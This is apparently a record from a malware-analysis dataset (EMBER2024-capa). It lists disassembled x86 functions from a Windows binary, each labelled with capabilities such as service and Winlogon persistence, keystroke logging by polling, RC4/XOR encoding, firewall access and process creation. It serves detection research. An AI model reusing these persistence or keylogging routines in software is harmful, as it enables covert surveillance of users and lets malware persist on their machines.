joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404fc0
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x118
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push 0x41073c
mov edi, ecx
push reloc.WS2_32.dll_bind
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x405183
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push eax
mov esi, 1
push 0x4107fc
push edx
mov dword [esp + 0x30], esi
call ebx
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push 0
push str.ErrorControl
push ecx
mov dword [esp + 0x30], esi
call ebx
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
push 4
push edx
push 4
push 0
push str.Start
push eax
mov dword [esp + 0x30], 3
call ebx
mov ecx, dword [esp + 0x10]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call ebp
lea edx, [esp + 0x10]
push edx
push 0x410784
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x405173
lea eax, [esp + 0x14]
lea ecx, [esp + 0x24]
push eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push ecx
push edx
push 0
push 0x410774
push eax
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405165
mov ecx, dword [esp + 0x14]
push 0x410768
lea edx, [esp + 0x28]
push ecx
push edx
mov ecx, edi
call fcn.004051a0
test eax, eax
jne 0x40514b
mov edi, 0x410768
or ecx, 0xffffffff
mov edx, dword [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
lea esi, [esp + edx + 0x23]
sub edi, ecx
mov eax, ecx
mov dword [esp + 0x14], esi
mov esi, edi
mov edi, dword [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x410768
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
lea ecx, [esp + 0x24]
mov dword [esp + 0x14], edx
mov byte [esp + edx + 0x24], al
inc edx
push edx
mov edx, dword [esp + 0x24]
push ecx
push edx
push eax
mov eax, dword [esp + 0x20]
push 0x410774
push eax
call ebx
test eax, eax
jne 0x40514f
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x1c], 1
push ecx
call ebp
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x118
ret
mov dword [esp + 0x1c], esi
mov ecx, dword [esp + 0x10]
push ecx
call ebp
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x118
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x118
ret
pop edi
pop esi
pop ebp
mov eax, 0xfffffffe
pop ebx
add esp, 0x118
ret
pop edi
pop esi
pop ebp
mov eax, 0xfffffffd
pop ebx
add esp, 0x118
ret
Function at 0x405210
Capabilities:
Persist via winlogon helper dll registry key

Disassembly:
push 0xffffffffffffffff
push 0x40b240
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
lea ecx, [esp + 0xc]
xor ebx, ebx
xor esi, esi
call sub.MFC42.DLL_CString::CString_3
mov dword [esp + 0x18], ebx
mov dword [esp + 8], ebx
push 0x4102bc
push reloc.WS2_32.dll_bind
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 1
call fcn.00408ed0
test eax, eax
je 0x405293
lea eax, [esp + 0xc]
lea ecx, [esp + 8]
push eax
push 0x410830
call fcn.00408fe0
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0xc]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
test eax, eax
jne 0x40528a
mov esi, 1
lea ecx, [esp + 8]
call fcn.00409090
lea ecx, [esp + 8]
mov byte [esp + 0x18], bl
call fcn.00409090
lea ecx, [esp + 0xc]
mov dword [esp + 8], ebx
mov dword [esp + 0x18], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 4

Function at 0x4052d0
Capabilities:
Persist via winlogon helper dll registry key

Disassembly:
push 0xffffffffffffffff
push 0x40b266
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x148
push ebx
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString_3
xor ebx, ebx
mov dword [esp + 0x154], ebx
mov dword [esp + 4], ebx
push 0x4102bc
push reloc.WS2_32.dll_bind
lea ecx, [esp + 0xc]
mov byte [esp + 0x15c], 1
call fcn.00408ed0
test eax, eax
je 0x405380
push esi
mov esi, dword [esp + 0x160]
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x405376
test byte [esp + 0x10], 0x10
jne 0x405376
lea ecx, [esp + 0xc]
push ecx
push 0x410830
lea ecx, [esp + 0x10]
call fcn.00408fe0
mov edx, dword [esp + 0xc]
lea ecx, [esp + 8]
push edx
push 0x41083c
call fcn.00408f50
push esi
push 0x410830
lea ecx, [esp + 0x10]
call fcn.00408f50
lea ecx, [esp + 8]
call fcn.00409090
pop esi
lea ecx, [esp + 4]
mov byte [esp + 0x154], bl
call fcn.00409090
lea ecx, [esp + 8]
mov dword [esp + 4], ebx
mov dword [esp + 0x154], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14c]
pop ebx
mov dword fs:[0], ecx
add esp, 0x154
ret 4
Function at 0x406840
Capabilities:
Get hostname

Disassembly:
sub esp, 0x84
push esi
push edi
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0xc]
push 0x80
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 0
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x406878
lea ecx, [esp + 0xc]
push ecx
jmp 0x40687d
push 0x410a44
mov esi, dword [esp + 0x94]
mov ecx, esi
call sub.MFC42.DLL_CString::CString_2
mov eax, esi
pop edi
pop esi
add esp, 0x84
ret

Function at 0x4068a0
Capabilities:
Get hostname
Resolve dns

Disassembly:
sub esp, 0x84
lea eax, [esp + 4]
push ebx
push esi
push 0x80
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x40692b
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, eax
test ebx, ebx
je 0x40692b
mov ecx, dword [esp + 0x90]
push 0xffffffffffffffff
push 0
call sub.MFC42.DLL_CStringArray::SetSize
mov edx, dword [ebx + 0xc]
mov esi, dword [edx]
test esi, esi
je 0x40692b
push ebp
push edi
xor ebp, ebp
movsx ecx, word [ebx + 0xa]
mov eax, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ecx, dword [esp + 0x98]
push eax
mov edx, dword [ecx + 8]
push edx
call sub.MFC42.DLL_CStringArray::SetAtGrow
mov eax, dword [ebx + 0xc]
add ebp, 4
mov esi, dword [eax + ebp]
test esi, esi
jne 0x4068ea
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x84
ret
Function at 0x407f30
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret

Function at 0x408fa0
Capabilities:
Set registry value

Disassembly:
push esi
lea eax, [esp + 0xc]
mov esi, ecx
push 4
mov ecx, dword [esp + 0xc]
push eax
mov edx, dword [esi]
push 4
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x408fd2
mov eax, dword [esi]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, 1
pop esi
ret 8
xor eax, eax
pop esi
ret 8

Function at 0x408fe0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov ebx, ecx
push 0x400
mov dword [esp + 0x18], 1
xor ebp, ebp
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
mov edx, dword [esp + 0x20]
mov ecx, 0x100
xor eax, eax
mov edi, esi
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [ebx]
push esi
push ecx
push ebp
push edx
push eax
mov dword [esp + 0x28], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x409045
mov ecx, dword [esp + 0x20]
push esi
mov ebp, 1
call sub.MFC42.DLL_CString::operator_1
jmp 0x40904e
mov ecx, dword [esp + 0x20]
call sub.MFC42.DLL_CString::Empty
push esi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
Function at 0x409d40
Capabilities:
Access firewall settings via inetfwmgr

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b8e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
mov esi, ecx
push edi
xor edi, edi
xor ebx, ebx
mov eax, dword [esi]
mov dword [ebp - 0x10], esp
cmp eax, edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], edi
je 0x409d8b
lea eax, [ebp - 0x1c]
push 0x40eda0
push eax
mov dword [ebp - 0x1c], 1
call sub.MSVCRT.dll__CxxThrowException
lea ecx, [ebp - 0x18]
push ecx
push 0x410d68
push 1
push edi
push 0x410d58
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, edi
jge 0x409dbb
lea edx, [ebp - 0x20]
push 0x40eda0
push edx
mov dword [ebp - 0x20], 2
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
cmp eax, edi
jge 0x409de1
lea eax, [ebp - 0x24]
push 0x40eda0
push eax
mov dword [ebp - 0x24], 3
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x14]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
cmp eax, edi
jge 0x409e15
lea edx, [ebp - 0x28]
push 0x40eda0
push edx
mov dword [ebp - 0x28], 4
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov eax, 0x409e10
ret
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
cmp eax, edi
je 0x409e29
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
cmp eax, edi
je 0x409e36
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, ebx
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405fb1
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.00406161
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x4060af
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x406052
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x406095
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x406069
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x406084
test al, 0x40
je 0x40607b
mov ecx, dword [edi + 0x20]
jmp 0x406082
test al, 0x80
je 0x406095
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x406095
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x406021
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x40d960
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46aa5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045f7f8
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40d9e2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045d747
mov eax, dword [eax]
push 0x4a21f0
push eax
call fcn.00450644
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045fa83
test bl, bl
je 0x40d9e2
push 0x4a21f0
lea ecx, [esp + 0xc]
call fcn.0045fe13
push 0x4a5d50
lea ecx, [esp + 0xc]
call fcn.0045fe13
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40da1e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045fa83
jmp 0x40dae9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40daa2
lea edx, [esp + 0x7c]
push 0x4a5d4c
push edx
call fcn.00450644
add esp, 8
test eax, eax
je 0x40daa2
lea eax, [esp + 0x7c]
push 0x4a5d48
push eax
call fcn.00450644
add esp, 8
test eax, eax
je 0x40daa2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40da32
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045fa83
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40e2e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40e342
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40e350
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46aadb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4ac1f8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40e488
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40e3b6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045fa83
xor eax, eax
jmp 0x40e4ff
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045fbc0
push esi
lea ecx, [esp + 0xc]
call fcn.0045fe4f
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40e4dd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0040e2e0
test eax, eax
jne 0x40e4dd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0040e2e0
test eax, eax
jne 0x40e4dd
lea eax, [esp + 0x14]
push 0x4a5d64
push eax
call fcn.00451680
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e4bc
lea ecx, [esp + 0x14]
push 0x4a5d60
push ecx
call fcn.00451600
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e4bc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40e4bf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045fb70
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40e3ce
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045fa83
xor eax, eax
jmp 0x40e4ff
mov byte [esi], 0
push 0x4a5d5c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045fa83
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4205a0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42060e
cmp si, 0x69
ja 0x42060e
add esi, 0xffd0
cmp si, 0x11
je 0x4205de
push 0x11
call edi
test ax, ax
jge 0x4205de
or esi, 0x2000
cmp si, 0x10
je 0x4205f3
push 0x10
call edi
test ax, ax
jge 0x4205f3
or esi, 0x4000
cmp si, 0x12
je 0x420608
push 0x12
call edi
test ax, ax
jge 0x420608
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42061b
mov esi, 0xbd
jmp 0x4205cf
cmp si, 0x6e
jne 0x420628
mov esi, 0xbe
jmp 0x4205cf
cmp si, 0x6f
jne 0x4205c9
mov esi, 0xbf
jmp 0x4205cf

Function at 0x421dd0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4bc848]
xor edx, edx
cmp eax, edx
jne 0x421df6
xor eax, eax
mov byte [eax + 0x4bc748], al
inc eax
cmp eax, 0x100
jl 0x421dde
mov dword [0x4bc848], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4bc748
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x421e87
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x421e5a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x421e28
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x421f00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x421f53
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x421f3a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x428db0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x428f48
cmp ebp, ebx
jle 0x428f48
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x428e0e
dec eax
or eax, 0xfffffff8
inc eax
je 0x428e15
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x428e24
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x428e2b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0045f7c4
add esp, 4
cmp eax, ebx
je 0x428e4c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0045f7c4
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x428f3e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x428f25
mov al, byte [edx]
cmp al, 0xc0
jbe 0x428f11
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x428f06
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x428f14
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x428f14
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x428eb0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x428ea1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x42bf80
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46c1a8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x42bfb9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00467171
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004671bd
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.0042c040
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.004671fa
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24